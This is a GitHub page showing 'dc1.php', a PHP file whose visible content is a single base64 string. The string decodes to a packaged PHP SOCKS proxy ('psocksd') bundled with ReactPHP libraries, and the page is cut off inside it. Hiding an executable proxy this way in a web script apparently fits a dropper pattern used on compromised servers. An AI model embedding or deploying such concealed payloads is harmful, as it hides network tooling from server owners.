-
Notifications
You must be signed in to change notification settings - Fork 42
Expand file tree
/
Copy pathdc1.php
More file actions
4 lines (4 loc) · 845 KB
/
dc1.php
File metadata and controls
4 lines (4 loc) · 845 KB
1
2
3
4
<?php
$a="IyEvdXNyL2Jpbi9lbnYgcGhwCjw/cGhwCi8qKgogKiBCdW5kbGVkIGJ5IHBoYXItY29tcG9zZXIgd2l0aCB0aGUgaGVscCBvZiBwaHAtYm94LgogKgogKiBAbGluayBodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waGFyLWNvbXBvc2VyCiAqLwpkZWZpbmUoJ0JPWF9FWFRSQUNUX1BBVFRFUk5fREVGQVVMVCcsICdfX0hBTFQnIC4gJ19DT01QSUxFUigpOyA/PicpOwpkZWZpbmUoJ0JPWF9FWFRSQUNUX1BBVFRFUk5fT1BFTicsICJfX0hBTFQiIC4gIl9DT01QSUxFUigpOyA/PlxyXG4iKTsKaWYgKGNsYXNzX2V4aXN0cygnUGhhcicpKSB7ClBoYXI6Om1hcFBoYXIoJycpOwpyZXF1aXJlICdwaGFyOi8vJyAuIF9fRklMRV9fIC4gJy9iaW4vcHNvY2tzZCc7Cn0gZWxzZSB7CiRleHRyYWN0ID0gbmV3IEV4dHJhY3QoX19GSUxFX18sIEV4dHJhY3Q6OmZpbmRTdHViTGVuZ3RoKF9fRklMRV9fKSk7CiRkaXIgPSAkZXh0cmFjdC0+Z28oKTsKc2V0X2luY2x1ZGVfcGF0aCgkZGlyIC4gUEFUSF9TRVBBUkFUT1IgLiBnZXRfaW5jbHVkZV9wYXRoKCkpOwpyZXF1aXJlICIkZGlyL2Jpbi9wc29ja3NkIjsKfQpjbGFzcyBFeHRyYWN0CnsKY29uc3QgUEFUVEVSTl9ERUZBVUxUID0gQk9YX0VYVFJBQ1RfUEFUVEVSTl9ERUZBVUxUOwpjb25zdCBQQVRURVJOX09QRU4gPSBCT1hfRVhUUkFDVF9QQVRURVJOX09QRU47CmNvbnN0IEdaID0gMHgxMDAwOwpjb25zdCBCWjIgPSAweDIwMDA7CmNvbnN0IE1BU0sgPSAweDMwMDA7CnByaXZhdGUgJGZpbGU7CnByaXZhdGUgJGhhbmRsZTsKcHJpdmF0ZSAkc3R1YjsKcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRmaWxlLCAkc3R1YikKewppZiAoIWlzX2ZpbGUoJGZpbGUpKSB7CnRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oCnNwcmludGYoCidUaGUgcGF0aCAiJXMiIGlzIG5vdCBhIGZpbGUgb3IgZG9lcyBub3QgZXhpc3QuJywKJGZpbGUKKQopOwp9CiR0aGlzLT5maWxlID0gJGZpbGU7CiR0aGlzLT5zdHViID0gJHN0dWI7Cn0KcHVibGljIHN0YXRpYyBmdW5jdGlvbiBmaW5kU3R1Ykxlbmd0aCgKJGZpbGUsCiRwYXR0ZXJuID0gc2VsZjo6UEFUVEVSTl9PUEVOCikgewppZiAoISgkZnAgPSBmb3BlbigkZmlsZSwgJ3JiJykpKSB7CnRocm93IG5ldyBSdW50aW1lRXhjZXB0aW9uKApzcHJpbnRmKAonVGhlIHBoYXIgIiVzIiBjb3VsZCBub3QgYmUgb3BlbmVkIGZvciByZWFkaW5nLicsCiRmaWxlCikKKTsKfQokc3R1YiA9IG51bGw7CiRvZmZzZXQgPSAwOwokY29tYm8gPSBzdHJfc3BsaXQoJHBhdHRlcm4pOwp3aGlsZSAoIWZlb2YoJGZwKSkgewppZiAoZmdldGMoJGZwKSA9PT0gJGNvbWJvWyRvZmZzZXRdKSB7CiRvZmZzZXQrKzsKaWYgKCFpc3NldCgkY29tYm9bJG9mZnNldF0pKSB7CiRzdHViID0gZnRlbGwoJGZwKTsKYnJlYWs7Cn0KfSBlbHNlIHsKJG9mZnNldCA9IDA7Cn0KfQpmY2xvc2UoJGZwKTsKaWYgKG51bGwgPT09ICRzdHViKSB7CnRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oCnNwcmludGYoCidUaGUgcGF0dGVybiBjb3VsZCBub3QgYmUgZm91bmQgaW4gIiVzIi4nLAokZmlsZQopCik7Cn0KcmV0dXJuICRzdHViOwp9CnB1YmxpYyBmdW5jdGlvbiBnbygkZGlyID0gbnVsbCkKewogaWYgKG51bGwgPT09ICRkaXIpIHsKJGRpciA9IHJ0cmltKHN5c19nZXRfdGVtcF9kaXIoKSwgJ1xcLycpCi4gRElSRUNUT1JZX1NFUEFSQVRPUgouICdwaGFyZXh0cmFjdCcKLiBESVJFQ1RPUllfU0VQQVJBVE9SCi4gYmFzZW5hbWUoJHRoaXMtPmZpbGUsICcucGhhcicpOwp9IGVsc2UgewokZGlyID0gcmVhbHBhdGgoJGRpcik7Cn0KICRtZDUgPSAkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIG1kNV9maWxlKCR0aGlzLT5maWxlKTsKaWYgKGZpbGVfZXhpc3RzKCRtZDUpKSB7CnJldHVybiAkZGlyOwp9CmlmICghaXNfZGlyKCRkaXIpKSB7CiR0aGlzLT5jcmVhdGVEaXIoJGRpcik7Cn0KICR0aGlzLT5vcGVuKCk7CmlmICgtMSA9PT0gZnNlZWsoJHRoaXMtPmhhbmRsZSwgJHRoaXMtPnN0dWIpKSB7CnRocm93IG5ldyBSdW50aW1lRXhjZXB0aW9uKApzcHJpbnRmKAonQ291bGQgbm90IHNlZWsgdG8gJWQgaW4gdGhlIGZpbGUgIiVzIi4nLAokdGhpcy0+c3R1YiwKJHRoaXMtPmZpbGUKKQopOwp9CiAkaW5mbyA9ICR0aGlzLT5yZWFkTWFuaWZlc3QoKTsKaWYgKCRpbmZvWydmbGFncyddICYgc2VsZjo6R1opIHsKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2d6aW5mbGF0ZScpKSB7CnRocm93IG5ldyBSdW50aW1lRXhjZXB0aW9uKAonVGhlIHpsaWIgZXh0ZW5zaW9uIGlzIChnemluZmxhdGUoKSkgaXMgcmVxdWlyZWQgZm9yICIlcy4nLAokdGhpcy0+ZmlsZQopOwp9Cn0KaWYgKCRpbmZvWydmbGFncyddICYgc2VsZjo6QloyKSB7CmlmICghZnVuY3Rpb25fZXhpc3RzKCdiemRlY29tcHJlc3MnKSkgewp0aHJvdyBuZXcgUnVudGltZUV4Y2VwdGlvbigKJ1RoZSBiemlwMiBleHRlbnNpb24gKGJ6ZGVjb21wcmVzcygpKSBpcyByZXF1aXJlZCBmb3IgIiVzIi4nLAokdGhpcy0+ZmlsZQopOwp9Cn0Kc2VsZjo6cHVyZ2UoJGRpcik7CiR0aGlzLT5jcmVhdGVEaXIoJGRpcik7CiR0aGlzLT5jcmVhdGVGaWxlKCRtZDUpOwpmb3JlYWNoICgkaW5mb1snZmlsZXMnXSBhcyAkaW5mbykgewokcGF0aCA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGluZm9bJ3BhdGgnXTsKJHBhcmVudCA9IGRpcm5hbWUoJHBhdGgpOwppZiAoIWlzX2RpcigkcGFyZW50KSkgewokdGhpcy0+Y3JlYXRlRGlyKCRwYXJlbnQpOwp9CmlmIChwcmVnX21hdGNoKCd7LyR9JywgJGluZm9bJ3BhdGgnXSkpIHsKJHRoaXMtPmNyZWF0ZURpcigkcGF0aCwgMDc3NywgZmFsc2UpOwp9IGVsc2UgewokdGhpcy0+Y3JlYXRlRmlsZSgKJHBhdGgsCiR0aGlzLT5leHRyYWN0RmlsZSgkaW5mbykKKTsKfQp9CnJldHVybiAkZGlyOwp9CnB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcHVyZ2UoJHBhdGgpCnsKaWYgKGlzX2RpcigkcGF0aCkpIHsKZm9yZWFjaCAoc2NhbmRpcigkcGF0aCkgYXMgJGl0ZW0pIHsKaWYgKCgnLicgPT09ICRpdGVtKSB8fCAoJy4uJyA9PT0gJGl0ZW0pKSB7CmNvbnRpbnVlOwp9CnNlbGY6OnB1cmdlKCRwYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtKTsKfQppZiAoIXJtZGlyKCRwYXRoKSkgewp0aHJvdyBuZXcgUnVudGltZUV4Y2VwdGlvbigKc3ByaW50ZigKJ1RoZSBkaXJlY3RvcnkgIiVzIiBjb3VsZCBub3QgYmUgZGVsZXRlZC4nLAokcGF0aAopCik7Cn0KfSBlbHNlIHsKaWYgKCF1bmxpbmsoJHBhdGgpKSB7CnRocm93IG5ldyBSdW50aW1lRXhjZXB0aW9uKApzcHJpbnRmKAonVGhlIGZpbGUgIiVzIiBjb3VsZCBub3QgYmUgZGVsZXRlZC4nLAokcGF0aAopCik7Cn0KfQp9CnByaXZhdGUgZnVuY3Rpb24gY3JlYXRlRGlyKCRwYXRoLCAkY2htb2QgPSAwNzc3LCAkcmVjdXJzaXZlID0gdHJ1ZSkKewppZiAoIW1rZGlyKCRwYXRoLCAkY2htb2QsICRyZWN1cnNpdmUpKSB7CnRocm93IG5ldyBSdW50aW1lRXhjZXB0aW9uKApzcHJpbnRmKAonVGhlIGRpcmVjdG9yeSBwYXRoICIlcyIgY291bGQgbm90IGJlIGNyZWF0ZWQuJywKJHBhdGgKKQopOwp9Cn0KcHJpdmF0ZSBmdW5jdGlvbiBjcmVhdGVGaWxlKCRwYXRoLCAkY29udGVudHMgPSAnJywgJG1vZGUgPSAwNjY2KQp7CmlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50cykpIHsKdGhyb3cgbmV3IFJ1bnRpbWVFeGNlcHRpb24oCnNwcmludGYoCidUaGUgZmlsZSAiJXMiIGNvdWxkIG5vdCBiZSB3cml0dGVuLicsCiRwYXRoCikKKTsKfQppZiAoIWNobW9kKCRwYXRoLCAkbW9kZSkpIHsKdGhyb3cgbmV3IFJ1bnRpbWVFeGNlcHRpb24oCnNwcmludGYoCidUaGUgZmlsZSAiJXMiIGNvdWxkIG5vdCBiZSBjaG1vZGRlZCB0byAlby4nLAokcGF0aCwKJG1vZGUKKQopOwp9Cn0KcHJpdmF0ZSBmdW5jdGlvbiBleHRyYWN0RmlsZSgkaW5mbykKewppZiAoMCA9PT0gJGluZm9bJ3NpemUnXSkgewpyZXR1cm4gJyc7Cn0KJGRhdGEgPSAkdGhpcy0+cmVhZCgkaW5mb1snY29tcHJlc3NlZF9zaXplJ10pOwppZiAoJGluZm9bJ2ZsYWdzJ10gJiBzZWxmOjpHWikgewppZiAoZmFsc2UgPT09ICgkZGF0YSA9IGd6aW5mbGF0ZSgkZGF0YSkpKSB7CnRocm93IG5ldyBSdW50aW1lRXhjZXB0aW9uKApzcHJpbnRmKAonVGhlICIlcyIgZmlsZSBjb3VsZCBub3QgYmUgaW5mbGF0ZWQgKGd6aXApIGZyb20gIiVzIi4nLAokaW5mb1sncGF0aCddLAokdGhpcy0+ZmlsZQopCik7Cn0KfSBlbHNlaWYgKCRpbmZvWydmbGFncyddICYgc2VsZjo6QloyKSB7CmlmIChmYWxzZSA9PT0gKCRkYXRhID0gYnpkZWNvbXByZXNzKCRkYXRhKSkpIHsKdGhyb3cgbmV3IFJ1bnRpbWVFeGNlcHRpb24oCnNwcmludGYoCidUaGUgIiVzIiBmaWxlIGNvdWxkIG5vdCBiZSBpbmZsYXRlZCAoYnppcDIpIGZyb20gIiVzIi4nLAokaW5mb1sncGF0aCddLAokdGhpcy0+ZmlsZQopCik7Cn0KfQppZiAoKCRhY3R1YWwgPSBzdHJsZW4oJGRhdGEpKSAhPT0gJGluZm9bJ3NpemUnXSkgewp0aHJvdyBuZXcgVW5leHBlY3RlZFZhbHVlRXhjZXB0aW9uKApzcHJpbnRmKAonVGhlIHNpemUgb2YgIiVzIiAoJWQpIGRpZCBub3QgbWF0Y2ggd2hhdCB3YXMgZXhwZWN0ZWQgKCVkKSBpbiAiJXMiLicsCiRpbmZvWydwYXRoJ10sCiRhY3R1YWwsCiRpbmZvWydzaXplJ10sCiR0aGlzLT5maWxlCikKKTsKfQokY3JjMzIgPSBzcHJpbnRmKCcldScsIGNyYzMyKCRkYXRhKSAmIDB4ZmZmZmZmZmYpOwppZiAoJGluZm9bJ2NyYzMyJ10gIT0gJGNyYzMyKSB7CnRocm93IG5ldyBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24oCnNwcmludGYoCidUaGUgY3JjMzIgY2hlY2tzdW0gKCVzKSBmb3IgIiVzIiBkaWQgbm90IG1hdGNoIHdoYXQgd2FzIGV4cGVjdGVkICglcykgaW4gIiVzIi4nLAokY3JjMzIsCiRpbmZvWydwYXRoJ10sCiRpbmZvWydjcmMzMiddLAokdGhpcy0+ZmlsZQopCik7Cn0KcmV0dXJuICRkYXRhOwp9CnByaXZhdGUgZnVuY3Rpb24gb3BlbigpCnsKaWYgKG51bGwgPT09ICgkdGhpcy0+aGFuZGxlID0gZm9wZW4oJHRoaXMtPmZpbGUsICdyYicpKSkgewokdGhpcy0+aGFuZGxlID0gbnVsbDsKdGhyb3cgbmV3IFJ1bnRpbWVFeGNlcHRpb24oCnNwcmludGYoCidUaGUgZmlsZSAiJXMiIGNvdWxkIG5vdCBiZSBvcGVuZWQgZm9yIHJlYWRpbmcuJywKJHRoaXMtPmZpbGUKKQopOwp9Cn0KcHJpdmF0ZSBmdW5jdGlvbiByZWFkKCRieXRlcykKewokcmVhZCA9ICcnOwokdG90YWwgPSAkYnl0ZXM7CndoaWxlICghZmVvZigkdGhpcy0+aGFuZGxlKSAmJiAkYnl0ZXMpIHsKaWYgKGZhbHNlID09PSAoJGNodW5rID0gZnJlYWQoJHRoaXMtPmhhbmRsZSwgJGJ5dGVzKSkpIHsKdGhyb3cgbmV3IFJ1bnRpbWVFeGNlcHRpb24oCnNwcmludGYoCidDb3VsZCBub3QgcmVhZCAlZCBieXRlcyBmcm9tICIlcyIuJywKJGJ5dGVzLAokdGhpcy0+ZmlsZQopCik7Cn0KJHJlYWQgLj0gJGNodW5rOwokYnl0ZXMgLT0gc3RybGVuKCRjaHVuayk7Cn0KaWYgKCgkYWN0dWFsID0gc3RybGVuKCRyZWFkKSkgIT09ICR0b3RhbCkgewp0aHJvdyBuZXcgUnVudGltZUV4Y2VwdGlvbigKc3ByaW50ZigKJ09ubHkgcmVhZCAlZCBvZiAlZCBpbiAiJXMiLicsCiRhY3R1YWwsCiR0b3RhbCwKJHRoaXMtPmZpbGUKKQopOwp9CnJldHVybiAkcmVhZDsKfQpwcml2YXRlIGZ1bmN0aW9uIHJlYWRNYW5pZmVzdCgpCnsKJHNpemUgPSB1bnBhY2soJ1YnLCAkdGhpcy0+cmVhZCg0KSk7CiRzaXplID0gJHNpemVbMV07CiRyYXcgPSAkdGhpcy0+cmVhZCgkc2l6ZSk7CiAkY291bnQgPSB1bnBhY2soJ1YnLCBzdWJzdHIoJHJhdywgMCwgNCkpOwokY291bnQgPSAkY291bnRbMV07CiRhbGlhc1NpemUgPSB1bnBhY2soJ1YnLCBzdWJzdHIoJHJhdywgMTAsIDQpKTsKJGFsaWFzU2l6ZSA9ICRhbGlhc1NpemVbMV07CiRyYXcgPSBzdWJzdHIoJHJhdywgMTQgKyAkYWxpYXNTaXplKTsKJG1ldGFTaXplID0gdW5wYWNrKCdWJywgc3Vic3RyKCRyYXcsIDAsIDQpKTsKJG1ldGFTaXplID0gJG1ldGFTaXplWzFdOwokb2Zmc2V0ID0gMDsKJHN0YXJ0ID0gNCArICRtZXRhU2l6ZTsKJG1hbmlmZXN0ID0gYXJyYXkoCidmaWxlcycgPT4gYXJyYXkoKSwKJ2ZsYWdzJyA9PiAwLAopOwpmb3IgKCRpID0gMDsgJGkgPCAkY291bnQ7ICRpKyspIHsKJGxlbmd0aCA9IHVucGFjaygnVicsIHN1YnN0cigkcmF3LCAkc3RhcnQsIDQpKTsKJGxlbmd0aCA9ICRsZW5ndGhbMV07CiRzdGFydCArPSA0OwokcGF0aCA9IHN1YnN0cigkcmF3LCAkc3RhcnQsICRsZW5ndGgpOwokc3RhcnQgKz0gJGxlbmd0aDsKJGZpbGUgPSB1bnBhY2soCidWc2l6ZS9WdGltZXN0YW1wL1Zjb21wcmVzc2VkX3NpemUvVmNyYzMyL1ZmbGFncy9WbWV0YWRhdGFfbGVuZ3RoJywKc3Vic3RyKCRyYXcsICRzdGFydCwgMjQpCik7CiRmaWxlWydwYXRoJ10gPSAkcGF0aDsKJGZpbGVbJ2NyYzMyJ10gPSBzcHJpbnRmKCcldScsICRmaWxlWydjcmMzMiddICYgMHhmZmZmZmZmZik7CiRmaWxlWydvZmZzZXQnXSA9ICRvZmZzZXQ7CiRvZmZzZXQgKz0gJGZpbGVbJ2NvbXByZXNzZWRfc2l6ZSddOwokc3RhcnQgKz0gMjQgKyAkZmlsZVsnbWV0YWRhdGFfbGVuZ3RoJ107CiRtYW5pZmVzdFsnZmxhZ3MnXSB8PSAkZmlsZVsnZmxhZ3MnXSAmIHNlbGY6Ok1BU0s7CiRtYW5pZmVzdFsnZmlsZXMnXVtdID0gJGZpbGU7Cn0KcmV0dXJuICRtYW5pZmVzdDsKfQp9CgpfX0hBTFRfQ09NUElMRVIoKTsgPz4NCgQ2AACzAAAAEQAAAAEAAAAAAAAAAAATAAAAdmVuZG9yL2F1dG9sb2FkLnBocLcAAAAZfFVUtwAAAHATSVu2AQAAAAAAABwAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS9MSUNFTlNFIAQAABl8VVQgBAAAUlrV3rYBAAAAAAAAOwAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3NyYy9SZWFjdC9Qcm9taXNlL0RlZmVycmVkUmVzb2x2ZXIucGhwFwIAABl8VVQXAgAAS+bDgrYBAAAAAAAAOwAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3NyYy9SZWFjdC9Qcm9taXNlL1Byb21pc2VJbnRlcmZhY2UucGhwowAAABl8VVSjAAAAPJMx7bYBAAAAAAAAPAAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3NyYy9SZWFjdC9Qcm9taXNlL1Byb21pc29ySW50ZXJmYWNlLnBocGAAAAAZfFVUYAAAAGPBglq2AQAAAAAAADYAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS9zcmMvUmVhY3QvUHJvbWlzZS9MYXp5UHJvbWlzZS5waHC2AgAAGXxVVLYCAAAHbZnStgEAAAAAAAAzAAAAdmVuZG9yL3JlYWN0L3Byb21pc2Uvc3JjL1JlYWN0L1Byb21pc2UvRGVmZXJyZWQucGhwKAsAABl8VVQoCwAAdaJs6LYBAAAAAAAALwAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3NyYy9SZWFjdC9Qcm9taXNlL1doZW4ucGhwoRYAABl8VVShFgAAAhhAerYBAAAAAAAAPAAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3NyYy9SZWFjdC9Qcm9taXNlL1Jlc29sdmVySW50ZXJmYWNlLnBocMgAAAAZfFVUyAAAAKFolbu2AQAAAAAAAC8AAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS9zcmMvUmVhY3QvUHJvbWlzZS9VdGlsLnBocFsCAAAZfFVUWwIAACe9uHq2AQAAAAAAADoAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS9zcmMvUmVhY3QvUHJvbWlzZS9EZWZlcnJlZFByb21pc2UucGhwnQEAABl8VVSdAQAA3Q20OrYBAAAAAAAAOwAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3NyYy9SZWFjdC9Qcm9taXNlL0Z1bGZpbGxlZFByb21pc2UucGhwPwMAABl8VVQ/AwAAYJwAl7YBAAAAAAAAOgAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3NyYy9SZWFjdC9Qcm9taXNlL1JlamVjdGVkUHJvbWlzZS5waHA8AwAAGXxVVDwDAAA8EGdftgEAAAAAAAAeAAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvUkVBRE1FLm1kfj8AABl8VVR+PwAAiMjcbbYBAAAAAAAAIgAAAHZlbmRvci9yZWFjdC9wcm9taXNlL2NvbXBvc2VyLmpzb27QAQAAGXxVVNABAAAdjD6JtgEAAAAAAAAoAAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvdGVzdHMvYm9vdHN0cmFwLnBocGQAAAAZfFVUZAAAAEblxju2AQAAAAAAADgAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL1doZW5BbGxUZXN0LnBocFsKAAAZfFVUWwoAACueOy+2AQAAAAAAADsAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL1doZW5SZWplY3RUZXN0LnBocO4FAAAZfFVU7gUAAKmhTIC2AQAAAAAAADwAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL0xhenlQcm9taXNlVGVzdC5waHDgCAAAGXxVVOAIAACrgGp5tgEAAAAAAAA7AAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvdGVzdHMvUmVhY3QvUHJvbWlzZS9FcnJvckNvbGxlY3Rvci5waHC7AwAAGXxVVLsDAADiqYcstgEAAAAAAAA7AAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvdGVzdHMvUmVhY3QvUHJvbWlzZS9XaGVuUmVkdWNlVGVzdC5waHDAHAAAGXxVVMAcAABI50bjtgEAAAAAAAA5AAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvdGVzdHMvUmVhY3QvUHJvbWlzZS9XaGVuU29tZVRlc3QucGhw5QoAABl8VVTlCgAANar0B7YBAAAAAAAAOQAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvRGVmZXJyZWRUZXN0LnBocB4IAAAZfFVUHggAADNMtxW2AQAAAAAAAEAAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL1JlamVjdGVkUHJvbWlzZVRlc3QucGhweQ8AABl8VVR5DwAA4gPbp7YBAAAAAAAAPgAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvU3R1Yi9DYWxsYWJsZVN0dWIucGhwaAAAABl8VVRoAAAAasTKF7YBAAAAAAAAQAAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvRGVmZXJyZWRQcm9taXNlVGVzdC5waHC9AQAAGXxVVL0BAACQY2xStgEAAAAAAAA/AAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvdGVzdHMvUmVhY3QvUHJvbWlzZS9EZWZlcnJlZFJlamVjdFRlc3QucGhwig4AABl8VVSKDgAAfzgKILYBAAAAAAAAOAAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvV2hlbk1hcFRlc3QucGhwPgwAABl8VVQ+DAAAfsv3JLYBAAAAAAAAPwAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvVXRpbFByb21pc2VGb3JUZXN0LnBocO0FAAAZfFVU7QUAAPTOEP+2AQAAAAAAADgAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL1doZW5BbnlUZXN0LnBocJMMAAAZfFVUkwwAAAglBmW2AQAAAAAAAEEAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL0RlZmVycmVkUHJvZ3Jlc3NUZXN0LnBocCQhAAAZfFVUJCEAAGM12oO2AQAAAAAAAEAAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL0RlZmVycmVkUmVzb2x2ZVRlc3QucGhw9BEAABl8VVT0EQAAj/ZEB7YBAAAAAAAAQQAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvRGVmZXJyZWRSZXNvbHZlclRlc3QucGhwvwIAABl8VVS/AgAAH3lZibYBAAAAAAAARwAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvVXRpbFJlamVjdGVkUHJvbWlzZUZvclRlc3QucGhwHQYAABl8VVQdBgAAW/h/grYBAAAAAAAAPAAAAHZlbmRvci9yZWFjdC9wcm9taXNlL3Rlc3RzL1JlYWN0L1Byb21pc2UvV2hlblJlc29sdmVUZXN0LnBocOsIAAAZfFVU6wgAAC9F+Xe2AQAAAAAAAEEAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL0Z1bGZpbGxlZFByb21pc2VUZXN0LnBocE0OAAAZfFVUTQ4AADx8J6G2AQAAAAAAADkAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS90ZXN0cy9SZWFjdC9Qcm9taXNlL1doZW5MYXp5VGVzdC5waHAyAgAAGXxVVDICAAAHijVWtgEAAAAAAAA1AAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvdGVzdHMvUmVhY3QvUHJvbWlzZS9UZXN0Q2FzZS5waHC2BAAAGXxVVLYEAABpySEwtgEAAAAAAAAlAAAAdmVuZG9yL3JlYWN0L3Byb21pc2UvcGhwdW5pdC54bWwuZGlzdKsCAAAZfFVUqwIAAEFnzTO2AQAAAAAAACEAAAB2ZW5kb3IvcmVhY3QvcHJvbWlzZS9DSEFOR0VMT0cubWTQAgAAGXxVVNACAAAZRwWStgEAAAAAAAA8AAAAdmVuZG9yL3JlYWN0L2V2ZW50LWxvb3AvUmVhY3QvRXZlbnRMb29wL1N0cmVhbVNlbGVjdExvb3AucGhw3xAAABl8VVTfEAAAShg7IbYBAAAAAAAAMQAAAHZlbmRvci9yZWFjdC9ldmVudC1sb29wL1JlYWN0L0V2ZW50TG9vcC9SRUFETUUubWTLCAAAGXxVVMsIAABfOB8UtgEAAAAAAAA1AAAAdmVuZG9yL3JlYWN0L2V2ZW50LWxvb3AvUmVhY3QvRXZlbnRMb29wL2NvbXBvc2VyLmpzb24BAgAAGXxVVAECAAB4b4vatgEAAAAAAAAzAAAAdmVuZG9yL3JlYWN0L2V2ZW50LWxvb3AvUmVhY3QvRXZlbnRMb29wL0ZhY3RvcnkucGhwfgEAABl8VVR+AQAALZM8cbYBAAAAAAAAOAAAAHZlbmRvci9yZWFjdC9ldmVudC1sb29wL1JlYWN0L0V2ZW50TG9vcC9MaWJFdmVudExvb3AucGhwcRgAABl8VVRxGAAAcS+MgbYBAAAAAAAANQAAAHZlbmRvci9yZWFjdC9ldmVudC1sb29wL1JlYWN0L0V2ZW50TG9vcC9MaWJFdkxvb3AucGhwPxAAABl8VVQ/EAAAkv3XqbYBAAAAAAAAOAAAAHZlbmRvci9yZWFjdC9ldmVudC1sb29wL1JlYWN0L0V2ZW50TG9vcC9UaW1lci9UaW1lcnMucGhwSgkAABl8VVRKCQAAC1XSg7YBAAAAAAAANwAAAHZlbmRvci9yZWFjdC9ldmVudC1sb29wL1JlYWN0L0V2ZW50TG9vcC9UaW1lci9UaW1lci5waHBWBQAAGXxVVFYFAABPLrd4tgEAAAAAAABAAAAAdmVuZG9yL3JlYWN0L2V2ZW50LWxvb3AvUmVhY3QvRXZlbnRMb29wL1RpbWVyL1RpbWVySW50ZXJmYWNlLnBocE4BAAAZfFVUTgEAAMn5+mq2AQAAAAAAADkAAAB2ZW5kb3IvcmVhY3QvZXZlbnQtbG9vcC9SZWFjdC9FdmVudExvb3AvTG9vcEludGVyZmFjZS5waHCbAgAAGXxVVJsCAADhxF5+tgEAAAAAAAAxAAAAdmVuZG9yL3JlYWN0L2NhY2hlL1JlYWN0L0NhY2hlL0NhY2hlSW50ZXJmYWNlLnBocNQAAAAZfFVU1AAAAFEIRLa2AQAAAAAAAC0AAAB2ZW5kb3IvcmVhY3QvY2FjaGUvUmVhY3QvQ2FjaGUvQXJyYXlDYWNoZS5waHDeAQAAGXxVVN4BAAB5pUP1tgEAAAAAAAAoAAAAdmVuZG9yL3JlYWN0L2NhY2hlL1JlYWN0L0NhY2hlL1JFQURNRS5tZKUJAAAZfFVUpQkAANM/65+2AQAAAAAAACwAAAB2ZW5kb3IvcmVhY3QvY2FjaGUvUmVhY3QvQ2FjaGUvY29tcG9zZXIuanNvboYBAAAZfFVUhgEAANVUe5a2AQAAAAAAADMAAAB2ZW5kb3IvcmVhY3Qvc3RyZWFtL1JlYWN0L1N0cmVhbS9Xcml0YWJsZVN0cmVhbS5waHC7AgAAGXxVVLsCAADj0Rv+tgEAAAAAAAA0AAAAdmVuZG9yL3JlYWN0L3N0cmVhbS9SZWFjdC9TdHJlYW0vQ29tcG9zaXRlU3RyZWFtLnBocGUHAAAZfFVUZQcAAGaqMUS2AQAAAAAAADMAAAB2ZW5kb3IvcmVhY3Qvc3RyZWFtL1JlYWN0L1N0cmVhbS9SZWFkYWJsZVN0cmVhbS5waHDtAgAAGXxVVO0CAABucsdYtgEAAAAAAAAyAAAAdmVuZG9yL3JlYWN0L3N0cmVhbS9SZWFjdC9TdHJlYW0vVGhyb3VnaFN0cmVhbS5waHCGAgAAGXxVVIYCAAAcT/O6tgEAAAAAAAAqAAAAdmVuZG9yL3JlYWN0L3N0cmVhbS9SZWFjdC9TdHJlYW0vUkVBRE1FLm1kuwkAABl8VVS7CQAAOPY3GbYBAAAAAAAAMQAAAHZlbmRvci9yZWFjdC9zdHJlYW0vUmVhY3QvU3RyZWFtL0J1ZmZlcmVkU2luay5waHDOBAAAGXxVVM4EAAAiFdH9tgEAAAAAAAAuAAAAdmVuZG9yL3JlYWN0L3N0